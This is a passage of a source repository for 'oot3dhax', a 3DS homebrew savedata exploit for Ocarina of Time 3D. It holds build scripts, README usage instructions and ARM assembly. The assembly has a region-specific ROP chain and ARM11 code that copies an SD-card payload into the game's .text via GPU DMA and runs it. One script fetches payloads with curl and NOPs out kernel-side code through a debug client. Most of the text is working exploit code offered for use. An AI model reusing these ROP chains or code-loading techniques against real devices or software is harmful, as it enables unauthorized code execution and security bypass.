├── Makefile ├── README.md ├── build_powersaves.sh ├── build_saveimage_clientcmds.sh ├── build_saveimages.sh ├── build_saveimages_new3dsv113.sh ├── build_saveimages_new3dsv96.sh ├── exechax2_old.s ├── network_install.md ├── oot3d_savetool.c ├── oot3dhax.s ├── oot3dhax_geninc.sh └── ropinclude ├── chntwn ├── eur ├── jpn ├── kor └── usa /Makefile: -------------------------------------------------------------------------------- 1 | ifndef DEVKITARM 2 | $(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") 3 | endif 4 | 5 | ## ====================== 6 | ## Global variables 7 | ## ====================== 8 | 9 | SAVE_FILES = oot3dhax_jpn.bin oot3dhax_usa.bin oot3dhax_eur.bin oot3dhax_kor.bin oot3dhax_chntwn.bin 10 | REGIONS = jpn usa eur kor chntwn 11 | TITLEIDS = 0004000000033400 0004000000033500 0004000000033600 000400000008f800 000400000008f900 12 | ELF_FILES = $(SAVE_FILES:.bin=.elf) 13 | 14 | ## ====================== 15 | ## oot3d_savetool variables 16 | ## TODO: Beautiful compilation with .o file. 17 | ## ====================== 18 | 19 | SAVETOOL_NAME = oot3d_savetool 20 | ST_CFLAGS = -W -Wall -Wextra -std=c99 -O3 21 | SAVETOOL_SRCS = oot3d_savetool.c 22 | 23 | SAVETOOL_OPT = 24 | 25 | ## ====================== 26 | ## ELF build variables 27 | ## ====================== 28 | 29 | DEFINES = 30 | 31 | ELF_FLAGS = -x assembler-with-cpp -nostartfiles -nostdlib -DREGION=$(DREGION) -DEXECHAX=$(EXECHAX) -DFWVER=$(FWVER) $(DEFINES) -include ropinclude/$(DREGION) -I$(ROPKIT_PATH) 32 | ELF_SRCS = oot3dhax.s 33 | 34 | ## ====================== 35 | ## BIN build variables 36 | ## ====================== 37 | 38 | BIN_FLAGS = -O binary 39 | 40 | ## =================================================================== 41 | ## Targets 42 | ## =================================================================== 43 | 44 | all: requirements 45 | @mkdir -p finaloutput_romfs/oot3dhax 46 | @echo "oot3dhax OoT3D 0x4 0004000000033400 0004000000033500 0004000000033600 000400000008f800 000400000008f900" > finaloutput_romfs/exploitlist_config 47 | $(MAKE) DREGION=$(word 1,$(subst :, ,$(REGIONS))) TID=$(word 1,$(subst :, ,$(TITLEIDS))) $(word 1,$(subst :, ,$(SAVE_FILES))) 48 | $(MAKE) DREGION=$(word 2,$(subst :, ,$(REGIONS))) TID=$(word 2,$(subst :, ,$(TITLEIDS))) $(word 2,$(subst :, ,$(SAVE_FILES))) 49 | $(MAKE) DREGION=$(word 3,$(subst :, ,$(REGIONS))) TID=$(word 3,$(subst :, ,$(TITLEIDS))) $(word 3,$(subst :, ,$(SAVE_FILES))) 50 | $(MAKE) DREGION=$(word 4,$(subst :, ,$(REGIONS))) TID=$(word 4,$(subst :, ,$(TITLEIDS))) $(word 4,$(subst :, ,$(SAVE_FILES))) 51 | $(MAKE) DREGION=$(word 5,$(subst :, ,$(REGIONS))) TID=$(word 5,$(subst :, ,$(TITLEIDS))) $(word 5,$(subst :, ,$(SAVE_FILES))) 52 | 53 | ## ====================== 54 | ## Check requirements 55 | ## ====================== 56 | 57 | requirements: 58 | ifndef EXECHAX 59 | $(error "EXECHAX not set.") 60 | endif 61 | ifndef FWVER 62 | $(error "FWVER not set.") 63 | endif 64 | ifndef ROPKIT_PATH 65 | $(error "ROPKIT_PATH is not set.") 66 | endif 67 | 68 | include $(DEVKITARM)/base_rules 69 | 70 | ## ====================== 71 | ## Builds targets 72 | ## ====================== 73 | 74 | %.bin: %.elf $(SAVETOOL_NAME) 75 | $(OBJCOPY) $(BIN_FLAGS) $< $@ 76 | ./$(SAVETOOL_NAME) $(SAVETOOL_OPT) $@ 77 | @mkdir -p finaloutput_romfs/oot3dhax/$(TID)/v1.0/common/save 78 | @echo "[remaster_versions]\n0000=romfs:/oot3dhax/$(TID)/v1.0@v1.0" > finaloutput_romfs/oot3dhax/$(TID)/config.ini 79 | @echo "save/$@=/save@!d2.bin" > finaloutput_romfs/oot3dhax/$(TID)/v1.0/common/config.ini 80 | @cp $@ finaloutput_romfs/oot3dhax/$(TID)/v1.0/common/save/ 81 | 82 | %.elf: 83 | $(CC) $(ELF_FLAGS) $(ELF_SRCS) -o $@ 84 | 85 | $(SAVETOOL_NAME): 86 | gcc -o $@ $(SAVETOOL_SRCS) $(ST_CFLAGS) 87 | 88 | ## ====================== 89 | ## Utils targets 90 | ## ====================== 91 | 92 | clean: 93 | rm -f $(SAVE_FILES) $(ELF_FILES) $(SAVETOOL_NAME) 94 | 95 | re: clean all 96 | 97 | .PHONY: clean all re 98 | .PRECIOUS: %.elf %.bin 99 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # oot3dhax 2 | This is a 3DS savedata exploit for "The Legend of Zelda: Ocarina of Time 3D". Hence the datetime displayed for the save-slot, this haxx has existed since October 2012. The following regions are supported: JPN, USA, EUR, KOR, and CHNTWN(CHN and TWN have the exact same title). Since the gamecard(there's only one "version" of the main CXI used for the gamecard) and eShop versions of the game are basically identical, the exploit can be used with both(if one can get the exploit savedata written to the savedata used by the target game version of course). 3 | 4 | KOR and CHNTWN support is currently broken somehow. 5 | 6 | The Nintendo Selects versions of this game are supported. 7 | 8 | This savegame haxx is the same one referred to here: https://www.3dbrew.org/wiki/5.0.0-11 9 | 10 | For details on the vuln/etc, see source and here: https://www.3dbrew.org/wiki/3DS_Userland_Flaws 11 | 12 | ### Haxx usage 13 | 1. Goto the save-slot select screen. 14 | 2. Select haxx save-saveslot. 15 | 3. Begin loading the save-slot. 16 | 4. Wait for the game to finish loading. 17 | 5. Without moving Link, press A for triggering dialog handling. 18 | 19 | ### 11.0.0.33 support 20 | [11.0.0.33](https://www.3dbrew.org/wiki/11.0.0-33) is supported with the June 26, 2016, oot3dhax release builds. 21 | 22 | ### Building 23 | The built savefiles should be used with sploit_installer, but other savefile-writing tools could be used too. The built romfs data for sploit_installer is located at "finaloutput_romfs/". 24 | 25 | Make command: 26 | "make EXECHAX={value} FWVER={value}" 27 | 28 | EXECHAX values(see also https://www.3dbrew.org/wiki/3DS_System_Flaws): 29 | * 0 for arm9 pxips9hax(fixed with v5.0). 30 | * 1 for arm11code-loading via reading the savefile with fsuser directly to .text(fixed with system-version v4.0). 31 | * 2 for GSP arm11code-loading haxx. This is done with [3ds_ropkit](https://github.com/yellows8/3ds_ropkit). 32 | * 3 for arm9hax with AM(fixed with v5.0). 33 | 34 | The arm9-code loads a payload from SD card, see source. 35 | 36 | Note that any EXECHAX type using arm9hax will fail to build the KOR + CHNTWN savefiles, you can ignore this if you aren't using the KOR or CHNTWN savefiles. 37 | 38 | # Installation 39 | The recommended way to install oot3dhax is with either sploit_installer(https://github.com/smealum/sploit_installer), which is included with the homebrew starter-kit(https://smealum.github.io/3ds/), or by writing save-images with a gamecard save dongle for example. 40 | 41 | The release-archive saveimages doesn't include KOR and CHNTWN because newer save crypto is used with those regions' gamecard. Hence, you have to use sploit_installer to install oot3dhax for those regions(but currently there's no hosted \*hax payloads available for the CHNTWN regions, as of July 29, 2016). 42 | 43 | Raw save-images which can be written to the gamecard savedata flash are contained in the oot3dhax release-archive. The "saveimages" directory is for raw 0x20000-byte saveimages, while "saveimages_powersaves" is for Datel Powersaves. Those directories contain two sub-directories, each for a different cardid set. If you don't know what the cardids for your gamecard are(these are included with what are commonly called "gamecard-unique headers"), just try either directory until one of them works without the game triggering a savedata-corruption error at boot. These directories then contain sub-directories for each game region. The saveimage files under those region directories have the same filename as the payload contained in the savedata, you can use the filename from this to determine which saveimage filename to use: https://smealum.github.io/3ds/#otherapp 44 | 45 | Before using the "saveimages" directory, you should verify that your savedata backup filesize matches the filesize from the files from that directory. 46 | 47 | Instructions for using with Datel Powersaves: 48 | * 1) Backup your gamecard savedata with Powersaves, even if you don't want to keep that savedata. 49 | * 2) In Windows Explorer, goto "C:\Users\YourUsername\Powersaves3DS". 50 | * 3) Copy the saveimage you selected from the saveimages_powersaves directory in the release-archive as described above, to this Powersaves3DS directory. 51 | * 4) Rename your backup save to a different filename. 52 | * 5) Rename the oot3dhax saveimage to the filename which the backup save had originally. 53 | * 6) Use Powersaves to restore the save. 54 | 55 | # Credits 56 | * Myria: REing Powersaves for the additional save header(+ this tool https://github.com/Myriachan/Powersaves3DS/blob/master/MakePowersave.py), testing saveimages for the 3 regions(USA+EUR+JPN), and for Powersaves instructions which the above instructions are based on. 57 | * Shakey: Support for KOR + CHNTWN via running oot3dhax_geninc.sh / etc, and the testing for those regions. 58 | 59 | -------------------------------------------------------------------------------- /build_powersaves.sh: -------------------------------------------------------------------------------- 1 | # build_powersaves.sh 2 | 3 | set -e 4 | 5 | rm -R -f saveimages_powersaves 6 | mkdir -p saveimages_powersaves 7 | 8 | buildcmd=$1 9 | 10 | for path in saveimages/*/*/*; 11 | do 12 | filenamebase=$(basename "$path") 13 | filenamebase=$(echo -n "$filenamebase" | cut "-d." -f1) 14 | basepath=$(echo -n "$path" | cut "-d/" -f2- | cut "-d." -f1) 15 | basepathdir=$(echo -n "$basepath" | cut "-d/" -f1-2) 16 | echo "Building save: $filenamebase" 17 | 18 | mkdir -p saveimages_powersaves/$basepathdir 19 | python $buildcmd saveimages/$basepath.sav saveimages_powersaves/$basepath.bin "$filenamebase" 20 | done 21 | 22 | -------------------------------------------------------------------------------- /build_saveimage_clientcmds.sh: -------------------------------------------------------------------------------- 1 | # build_saveimage_clientcmds.sh serverip 2 | 3 | set -e 4 | 5 | statsize=`stat -L -c %s "$5"` 6 | hexsize=`echo -e "obase=16\n$statsize" | bc` 7 | 8 | # FS:FormatSaveData 9 | echo "writemem:11 0x8068000 0xc 0x2 0x0 0x0" 10 | echo "sendservicecmd:5 0x0 0x084C0242 0x567890B2 0x2 0xc 0x200 0x0 0x8 0x3 0x9 0x1 0x30002 0x8068000" 11 | 12 | # Write the files to the save. 13 | echo "directfilerw 0x567890B1 0x1 0x1 0x4 0x18 0x7 0x14dc 0x0 2F007300610076006500300030002E00620069006E000000 @$4" 14 | 15 | echo "directfilerw 0x567890B1 0x1 0x1 0x4 0x18 0x7 0x22 0x0 2F00730079007300740065006D002E006400610074000000 @oot3dhax_system.dat" 16 | 17 | echo "directfilerw 0x567890B1 0x1 0x1 0x4 0x1a 0x7 0x$hexsize 0x0 2F007000610079006C006F00610064002E00620069006E000000 @$5" 18 | 19 | # Read the raw flash image. 20 | echo "sendservicecmd:5 0x0 0x082800C2 0x3 0x0 0x20000 0x80000C $2" 21 | # Read the dumped save from memory. 22 | echo "readmem:11 $2 0x20000 @$3" 23 | 24 | -------------------------------------------------------------------------------- /build_saveimages.sh: -------------------------------------------------------------------------------- 1 | # build_saveimages.sh serverip 2 | 3 | set -e 4 | 5 | serverip=$1 6 | readbuf=$2 7 | patchaddr=$3 8 | 9 | function init_keyslots 10 | { 11 | 3dshaxclient --serveradr=$serverip --keyslot=33 "--keyY=$1$2"fe009000000000 12 | 3dshaxclient --serveradr=$serverip --keyslot=37 "--keyY=$1$2"fe009000000000 13 | } 14 | 15 | function build_region 16 | { 17 | init_keyslots `cat accessdescsig_oot3d$1` "$3" 18 | 19 | rm -f clientscript 20 | 21 | for path in otherapp_payloads/otherapp/*_$2_*; 22 | do 23 | filename=$(basename "$path") 24 | basefn=$(echo -n "$filename" | cut "-d." -f1) 25 | echo "Building with payload: $filename" 26 | savedir=saveimages/cardids_"$3"fe009000000000/$1 27 | mkdir -p $savedir 28 | ./build_saveimage_clientcmds.sh $serverip $readbuf $savedir/$basefn.sav oot3dhax_$1.bin "$path" >> clientscript 29 | done 30 | 31 | echo "quit" >> clientscript 32 | 33 | echo "Running clientscript..." 34 | cat clientscript | 3dshaxclient --serveradr=$serverip --shell=0 35 | } 36 | 37 | rm -R -f saveimages 38 | mkdir -p saveimages 39 | 40 | rm -R -f otherapp_payloads 41 | rm -f othrapp.zip 42 | curl -v https://smealum.github.io/ninjhax2/otherapp.zip > otherapp.zip 43 | unzip otherapp.zip -d otherapp_payloads 44 | 45 | # Temporarily NOP-out the Process9 code which sets the gamecard savedata keyslots' keyY. 46 | 3dshaxclient --serveradr=$serverip "--customcmd=readmem:9 $patchaddr 0xc @tmpcode.bin" 47 | 3dshaxclient --serveradr=$serverip "--customcmd=writemem:9 $patchaddr 0xc 0x0 0x0 0x0" 48 | 49 | build_region "usa" "U" "c2" 50 | build_region "usa" "U" "45" 51 | 52 | build_region "eur" "E" "c2" 53 | build_region "eur" "E" "45" 54 | 55 | build_region "jpn" "J" "c2" 56 | build_region "jpn" "J" "45" 57 | 58 | echo "Building for your own gamecard..." 59 | init_keyslots `cat accessdescsig_oot3d$4` "c2" 60 | ./build_saveimage_clientcmds.sh $serverip $readbuf savedump_usergamecardoot3dhax.bin oot3dhax_$4.bin otherapp_payloads/otherapp/$5 | 3dshaxclient --serveradr=$serverip --shell=0 61 | 62 | 3dshaxclient --serveradr=$serverip "--customcmd=writemem:9 $patchaddr 0xc @tmpcode.bin" 63 | 64 | -------------------------------------------------------------------------------- /build_saveimages_new3dsv113.sh: -------------------------------------------------------------------------------- 1 | # build_saveimages_new3dsv113.sh serverip 2 | ./build_saveimages.sh $1 $2 0x0802ecd8 $3 $4 3 | ./build_powersaves.sh $5 4 | -------------------------------------------------------------------------------- /build_saveimages_new3dsv96.sh: -------------------------------------------------------------------------------- 1 | # build_saveimages_new3dsv96.sh serverip 2 | ./build_saveimages.sh $1 $2 0x0802eb44 $3 $4 3 | ./build_powersaves.sh $5 4 | -------------------------------------------------------------------------------- /exechax2_old.s: -------------------------------------------------------------------------------- 1 | #define CODE_ALIGNEDSIZE 0x45b000 2 | 3 | #if FWVER < 0x25 4 | #define TEXT_APPMEM_OFFSET CODE_ALIGNEDSIZE //Physmem offset to .text, relative to APPLICATION mem-region end. 5 | #else 6 | #define TEXT_APPMEM_OFFSET (CODE_ALIGNEDSIZE - 0x5B000) 7 | #endif 8 | 9 | #if REGION!=0//Non-JPN 10 | #define ROP_LDRR1R1_ADDR1R1R2LSL3_STRR1R0 0x3255dc //ldr r1, [r1, #4] ; add r1, r1, r2, lsl #3 ; str r1, [r0] ; bx lr 11 | #else//JPN 12 | #define ROP_LDRR1R1_ADDR1R1R2LSL3_STRR1R0 0x3250f4 13 | #endif 14 | 15 | #define ROP_WRITER4_TOR0_x2b0_POPR4R5R6PC 0x174de8 //"str r4, [r0, #0x2b0]" "pop {r4, r5, r6, pc}" 16 | 17 | #define REGPOPADR 0x4a5c80 //Addr of this instruction: "pop {r0, r1, r2, r3, r4, r5, r6, fp, ip, pc}" 18 | 19 | #if REGION!=0//Non-JPN 20 | 21 | #define BLXR6 0x2c45e0 //Executes "blx r6", increments r4, then if r4>=16 executes vpop {d8}, pop {r4, r5, r6, r7, r8, r9, sl, pc} 22 | #else//JPN 23 | 24 | #define BLXR6 0x2c40f8 25 | #endif 26 | 27 | #if EXECHAX==2 28 | .word REGPOPADR 29 | .word 0x14700000 @ r0, Dst 30 | .word ROPBUF+ARM11CODE_OFF @ r1, Src ARM11 code 31 | .word ARM11CODE_SIZE @ r2 32 | .word 0 @ r3 33 | .word 0x0f @ r4 34 | .word 0 @ r5 35 | .word MEMCPY @ r6 36 | .word 0 @ fp 37 | .word 0 @ ip 38 | .word BLXR6 39 | 40 | .word 0, 0 @ d8 41 | .word 0 @ r4 42 | .word 0 @ r5 43 | .word 0 @ r6 44 | .word 0 @ r7 45 | .word 0 @ r8 46 | .word 0 @ r9 47 | .word 0 @ sl 48 | 49 | .word REGPOPADR 50 | .word 0x14700000 @ r0, Addr 51 | .word ARM11CODE_SIZE @ r1, Size 52 | .word 0 @ r2 53 | .word 0 @ r3 54 | .word 0x0f @ r4 55 | .word 0 @ r5 56 | .word GSPGPU_FlushDataCache @ r6 57 | .word 0 @ fp 58 | .word 0 @ ip 59 | .word BLXR6 @ Flush the DCache for the code copied to 0x14700000. 60 | 61 | .word 0, 0 @ d8 62 | .word 0 @ r4 63 | .word 0 @ r5 64 | .word 0 @ r6 65 | .word 0 @ r7 66 | .word 0 @ r8 67 | .word 0 @ r9 68 | .word 0 @ sl 69 | 70 | //The following determines the actual APPMEMALLOC via checking configmem APPMEMTYPE, since the configmem APPMEMALLOC is fixed to 0x04000000 even on New3DS. 71 | 72 | .word REGPOPADR 73 | .word (gxcpy_appmemtype_ropword-_start) + ROPBUF @ r0 74 | .word 0x1FF80030-4 @ r1 75 | .word 0 @ r2 76 | .word 0 @ r3 77 | .word 0x10 @ r4 78 | .word 0 @ r5 79 | .word ROP_LDRR1R1_ADDR1R1R2LSL3_STRR1R0 @ r6 "ldr r1, [r1, #4] ; add r1, r1, r2, lsl #3 ; str r1, [r0]" 80 | .word 0 @ fp 81 | .word 0 @ ip 82 | .word BLXR6 @ Copy configmem APPMEMTYPE to gxcpy_appmemtype_ropword. 83 | 84 | .word 0, 0 85 | .word 0 86 | .word 0 87 | .word 0, 0, 0, 0, 0 88 | 89 | .word REGPOPADR @ This ROP sets r4 to (appmemtype_appmemsize_table-4) + APPMEMTYPE*4. 90 | .word ((appmemtype_appmemsize_table - 4) -_start) + ROPBUF @ r0 91 | gxcpy_appmemtype_ropword: 92 | .word 0 @ r1 93 | .word 0 @ r2 94 | .word 0 @ r3 95 | .word 0 @ r4 96 | .word ROPBUF+0x1018 @ r5, +0x38 is a classptr. 97 | .word 0 @ r6 98 | .word 0 @ fp 99 | .word 0 @ ip 100 | .word ADDSHIFTVAL_BLXR3 @ r4 = r0 + r1<<2. classptr = *(r5+0x38). Calls vtable funcptr +16 with r3 for the funcptr, r2=*r4, r1= 101 | 102 | @ Write r4 to gxcpy_appmemsizeptr_ropword. 103 | .word ((gxcpy_appmemsizeptr_ropword-_start) + ROPBUF) - 0x2b0 @ r0 104 | .word 0 @ r1 105 | .word 0 @ r2 106 | .word 0 @ r3 107 | .word 0 @ sl 108 | .word 0 @ ip 109 | 110 | .word ROP_WRITER4_TOR0_x2b0_POPR4R5R6PC @ "str r4, [r0, #0x2b0]" "pop {r4, r5, r6, pc}" 111 | 112 | .word 0 @ r4 113 | .word 0 @ r5 114 | .word 0 @ r6 115 | 116 | .word REGPOPADR 117 | .word (gxcpy_dstaddr_ropword-_start) + ROPBUF @ r0 118 | gxcpy_appmemsizeptr_ropword: 119 | .word 0x0 @ r1, written by the above ROP. 120 | .word (0x14000000 - TEXT_APPMEM_OFFSET)>>3 @ r2 121 | .word 0 @ r3 122 | .word 0x0f @ r4 123 | .word 0 @ r5 124 | .word ROP_LDRR1R1_ADDR1R1R2LSL3_STRR1R0 @ r6 "ldr r1, [r1, #4] ; add r1, r1, r2, lsl #3 ; str r1, [r0]" 125 | .word 0 @ fp 126 | .word 0 @ ip 127 | .word BLXR6 @ Calculate the linearmem address of .text on-the-fly. 128 | 129 | .word 0, 0 130 | .word 0 131 | .word 0 132 | .word 0, 0, 0, 0, 0 133 | 134 | .word REGPOPADR 135 | .word (gxcpy_dstaddr-_start) + ROPBUF @ r0 136 | .word ((gxcpy_dstaddr_ropword-4)-_start) + ROPBUF @ r1 137 | .word 0 @ r2 138 | .word 0 @ r3 139 | .word 0x10 @ r4 140 | .word 0 @ r5 141 | .word ROP_LDRR1R1_ADDR1R1R2LSL3_STRR1R0 @ r6 "ldr r1, [r1, #4] ; add r1, r1, r2, lsl #3 ; str r1, [r0]" 142 | .word 0 @ fp 143 | .word 0 @ ip 144 | .word BLXR6 @ Copy gxcpy_dstaddr_ropword to gxcpy_dstaddr. 145 | 146 | .word 0, 0 147 | .word 0 148 | .word 0 149 | .word 0, 0, 0, 0, 0 150 | 151 | .word REGPOPADR//This code exec method uses GX command4 to copy arm11code using GPU DMA, to .text. 152 | .word 0x14700000 @ r0, GPU DMA src addr 153 | gxcpy_dstaddr_ropword: 154 | .word 0x0 @ r1, GPU DMA dst addr. The actual addr gets written by the above ROP. 155 | .word ARM11CODE_SIZE @ r2, size 156 | .word 0 @ r3, width0 157 | .word 0x0f @ r4 158 | .word 0 @ r5 159 | .word GXLOW_CMD4 @ r6 160 | .word 0 @ fp 161 | .word 0 @ ip 162 | .word BLXR6 163 | 164 | .word 0, 0 @ d8 / insp0 = height0, insp4 = width1 165 | .word 0 @ insp8 = height1 166 | .word 0x8 @ insp12, flags 167 | .word 0, 0, 0, 0, 0 168 | COND_THROWFATALERR 169 | 170 | @ Call svcSleepThread() since GX commands returns before the operation finishes. 171 | CALLFUNC_R0R1 svcSleepThread, 1000000000, 0 172 | 173 | .word 0x00100000 @ Jump to the loaded binary. 174 | 175 | gxcpy_dstaddr: 176 | .word 0 177 | #endif 178 | 179 | #ifndef ARM9HAX 180 | .space (_start + ARM11CODE_OFF) - . 181 | arm11code: 182 | add r1, pc, #1 183 | bx r1 184 | .thumb 185 | 186 | arm11code_start: 187 | ldr r0, =(0x10000000 - 0x3800) 188 | mov sp, r0 189 | 190 | sub sp, sp, #32 191 | 192 | ldr r0, =0x14313890 @ Overwrite the main-screen framebuffers for framebuf A. http://3dbrew.org/wiki/GPU_Registers 193 | ldr r1, =0x46500 194 | ldr r2, =0x13333337 195 | 196 | arm11_memclear: 197 | str r2, [r0] 198 | add r0, r0, #4 199 | add r2, r2, #4 200 | sub r1, r1, #4 201 | bne arm11_memclear 202 | 203 | ldr r1, =0x46500 204 | add r0, r0, #0x10 205 | 206 | arm11_memclear2: 207 | str r2, [r0] 208 | add r0, r0, #4 209 | add r2, r2, #4 210 | sub r1, r1, #4 211 | bne arm11_memclear2 212 | 213 | ldr r2, =GSPGPU_FlushDataCache//flushdcache 214 | ldr r0, =0x14313890 215 | ldr r1, =(0x46500*2)+0x10 216 | blx r2 217 | 218 | add r0, sp, #16 @ Out handle 219 | adr r1, arm11code_servname @ Service name ptr "fs:USER" 220 | mov r2, #7 @ Service name length 221 | mov r3, #0 222 | ldr r4, =SRV_GETSERVICEHANDLE 223 | blx r4 224 | bl throw_fatalerr_check 225 | 226 | add r0, sp, #16 227 | bl fsuser_initialize 228 | bl throw_fatalerr_check 229 | 230 | mov r0, #1 231 | str r0, [sp, #0] @ openflags 232 | add r0, sp, #20 233 | str r0, [sp, #4] @ fileout handle* 234 | add r0, sp, #16 @ fsuser handle 235 | mov r1, #4 @ archiveid 236 | adr r2, arm11code_payloadpath 237 | adr r3, arm11code_payloadpath_end 238 | sub r3, r3, r2 239 | bl fsuser_openfiledirectly 240 | bl throw_fatalerr_check 241 | 242 | add r0, sp, #20 @ filehandle* 243 | add r1, sp, #0 @ u32* outsize 244 | bl fsfile_getsize 245 | bl throw_fatalerr_check 246 | 247 | ldr r6, [sp, #0] 248 | 249 | add r0, sp, #24 250 | str r0, [sp, #0] @ u32* total transfersize 251 | add r0, sp, #20 @ filehandle* 252 | mov r1, #0 @ u32 filepos 253 | ldr r2, =0x14700000 @ buf* 254 | mov r3, r6 @ size 255 | bl fsfile_read 256 | bl throw_fatalerr_check 257 | 258 | add r0, sp, #20 @ filehandle* 259 | bl fsfile_close 260 | 261 | ldr r0, [sp, #20] 262 | blx arm11code_svcCloseHandle 263 | 264 | ldr r0, [sp, #16] 265 | blx arm11code_svcCloseHandle 266 | 267 | mov r0, #7 268 | add r6, r6, r0 269 | bic r6, r6, r0 @ 8-byte alignment 270 | 271 | ldr r2, =GSPGPU_FlushDataCache//flushdcache 272 | ldr r0, =0x14700000 273 | mov r1, r6 274 | blx r2 275 | 276 | mov r0, #0 277 | str r0, [sp, #0] @ height0 278 | str r0, [sp, #4] @ width1 279 | str r0, [sp, #8] @ height1 280 | mov r0, #8 281 | str r0, [sp, #12] @ flags 282 | ldr r0, =0x14700000 @ GPU DMA src addr 283 | 284 | ldr r1, =(gxcpy_dstaddr-_start) + ROPBUF 285 | ldr r1, [r1] 286 | mov r7, r1 287 | ldr r2, =0x1000 288 | add r1, r1, r2 289 | 290 | mov r2, r6 @ size 291 | mov r3, #0 @ width0 292 | ldr r4, =GXLOW_CMD4 293 | blx r4 294 | 295 | ldr r0, =1000000000 296 | mov r1, #0 297 | blx arm11code_svcSleepThread 298 | 299 | ldr r5, =0x14701000 300 | mov r0, r5 301 | mov r3, r0 302 | mov r1, #0 303 | ldr r2, =0x1000 304 | 305 | arm11code_memclr: 306 | str r1, [r3] 307 | add r3, r3, #4 308 | sub r2, r2, #4 309 | bgt arm11code_memclr 310 | 311 | ldr r1, =THROWFATALERR 312 | str r1, [r0, #4] 313 | ldr r1, =GXLOW_CMD4 314 | str r1, [r0, #0x1c] 315 | ldr r1, =GSPGPU_FlushDataCache 316 | str r1, [r0, #0x20] 317 | mov r1, #0x8d @ flags 318 | str r1, [r0, #0x48] 319 | ldr r1, =GSPGPU_SERVHANDLEADR 320 | str r1, [r0, #0x58] 321 | ldr r1, =0x08010000 322 | str r1, [r0, #0x64] 323 | 324 | arm11code_callpayload: 325 | mov r0, r5 326 | ldr r1, =(0x10000000-4) 327 | ldr r2, =0x00101000 328 | blx r2 329 | 330 | arm11code_end: 331 | b arm11code_end 332 | .pool 333 | 334 | throw_fatalerr_check: 335 | cmp r0, #0 336 | bne throw_fatalerr 337 | bx lr 338 | 339 | throw_fatalerr: 340 | ldr r1, =THROWFATALERR 341 | bx r1 342 | .pool 343 | 344 | fsuser_initialize: 345 | push {r0, r1, r2, r3, r4, r5, lr} 346 | blx arm11code_getcmdbuf 347 | mov r4, r0 348 | 349 | ldr r0, [sp, #0] 350 | 351 | ldr r5, =0x08010002 352 | str r5, [r4, #0] 353 | mov r1, #0x20 354 | str r1, [r4, #4] 355 | ldr r0, [r0] 356 | blx arm11code_svcSendSyncRequest 357 | cmp r0, #0 358 | bne fsuser_initialize_end 359 | ldr r0, [r4, #4] 360 | 361 | fsuser_initialize_end: 362 | add sp, sp, #16 363 | pop {r4, r5, pc} 364 | 365 | fsuser_openfiledirectly: @ r0=fsuser* handle, r1=archiveid, r2=lowpath bufptr*(utf16), r3=lowpath bufsize, sp0=openflags, sp4=file out handle* 366 | push {r0, r1, r2, r3, r4, r5, lr} 367 | blx arm11code_getcmdbuf 368 | mov r4, r0 369 | 370 | ldr r0, [sp, #0] 371 | ldr r1, [sp, #4] 372 | ldr r2, [sp, #8] 373 | ldr r3, [sp, #12] 374 | 375 | ldr r5, =0x08030204 376 | str r5, [r4, #0] 377 | mov r5, #0 378 | str r5, [r4, #4] @ transaction 379 | str r1, [r4, #8] @ archiveid 380 | mov r5, #1 381 | str r5, [r4, #12] @ Archive LowPath.Type 382 | str r5, [r4, #16] @ Archive LowPath.Size 383 | mov r5, #4 384 | str r5, [r4, #20] @ Archive LowPath.Type 385 | str r3, [r4, #24] @ Archive LowPath.Size 386 | ldr r5, [sp, #28] 387 | str r5, [r4, #28] @ Openflags 388 | mov r5, #0 389 | str r5, [r4, #32] @ Attributes 390 | ldr r5, =0x4802 391 | str r5, [r4, #36] @ archive lowpath translate hdr/ptr 392 | mov r5, sp 393 | str r5, [r4, #40] 394 | mov r5, #2 395 | lsl r3, r3, #14 396 | orr r3, r3, r5 397 | str r3, [r4, #44] @ file lowpath translate hdr/ptr 398 | str r2, [r4, #48] 399 | 400 | ldr r0, [r0] 401 | blx arm11code_svcSendSyncRequest 402 | cmp r0, #0 403 | bne fsuser_openfiledirectly_end 404 | 405 | ldr r0, [r4, #4] 406 | ldr r2, [sp, #32] 407 | ldr r1, [r4, #12] 408 | cmp r0, #0 409 | bne fsuser_openfiledirectly_end 410 | str r1, [r2] 411 | 412 | fsuser_openfiledirectly_end: 413 | add sp, sp, #16 414 | pop {r4, r5, pc} 415 | .pool 416 | 417 | fsfile_read: @ r0=filehandle*, r1=u32 filepos, r2=buf*, r3=size, sp0=u32* total transfersize 418 | push {r0, r1, r2, r3, r4, r5, lr} 419 | blx arm11code_getcmdbuf 420 | mov r4, r0 421 | 422 | ldr r0, [sp, #0] 423 | ldr r1, [sp, #4] 424 | ldr r2, [sp, #8] 425 | ldr r3, [sp, #12] 426 | 427 | ldr r5, =0x080200C2 428 | str r5, [r4, #0] 429 | str r1, [r4, #4] @ filepos 430 | mov r1, #0 431 | str r1, [r4, #8] 432 | str r3, [r4, #12] @ Size 433 | mov r5, #12 434 | lsl r3, r3, #4 435 | orr r3, r3, r5 436 | str r3, [r4, #16] @ file lowpath translate hdr/ptr 437 | str r2, [r4, #20] 438 | 439 | ldr r0, [r0] 440 | blx arm11code_svcSendSyncRequest 441 | cmp r0, #0 442 | bne fsfile_read_end 443 | ldr r0, [r4, #4] 444 | ldr r2, [sp, #28] 445 | ldr r1, [r4, #8] 446 | cmp r0, #0 447 | bne fsfile_read_end 448 | str r1, [r2] 449 | 450 | fsfile_read_end: 451 | add sp, sp, #16 452 | pop {r4, r5, pc} 453 | .pool 454 | 455 | fsfile_close: @ r0=filehandle* 456 | push {r0, r1, r2, r3, r4, r5, lr} 457 | blx arm11code_getcmdbuf 458 | mov r4, r0 459 | 460 | ldr r0, [sp, #0] 461 | 462 | ldr r5, =0x08080000 463 | str r5, [r4, #0] 464 | 465 | ldr r0, [r0] 466 | blx arm11code_svcSendSyncRequest 467 | cmp r0, #0 468 | bne fsfile_close_end 469 | ldr r0, [r4, #4] 470 | 471 | fsfile_close_end: 472 | add sp, sp, #16 473 | pop {r4, r5, pc} 474 | .pool 475 | 476 | fsfile_getsize: @ r0=filehandle*, r1=u32* outsize 477 | push {r0, r1, r2, r3, r4, r5, lr} 478 | blx arm11code_getcmdbuf 479 | mov r4, r0 480 | 481 | ldr r0, [sp, #0] 482 | 483 | ldr r5, =0x08040000 484 | str r5, [r4, #0] 485 | 486 | ldr r0, [r0] 487 | blx arm11code_svcSendSyncRequest 488 | cmp r0, #0 489 | bne fsfile_getsize_end 490 | ldr r0, [r4, #4] 491 | cmp r0, #0 492 | bne fsfile_getsize_end 493 | 494 | ldr r1, [r4, #8] 495 | ldr r2, [sp, #4] 496 | str 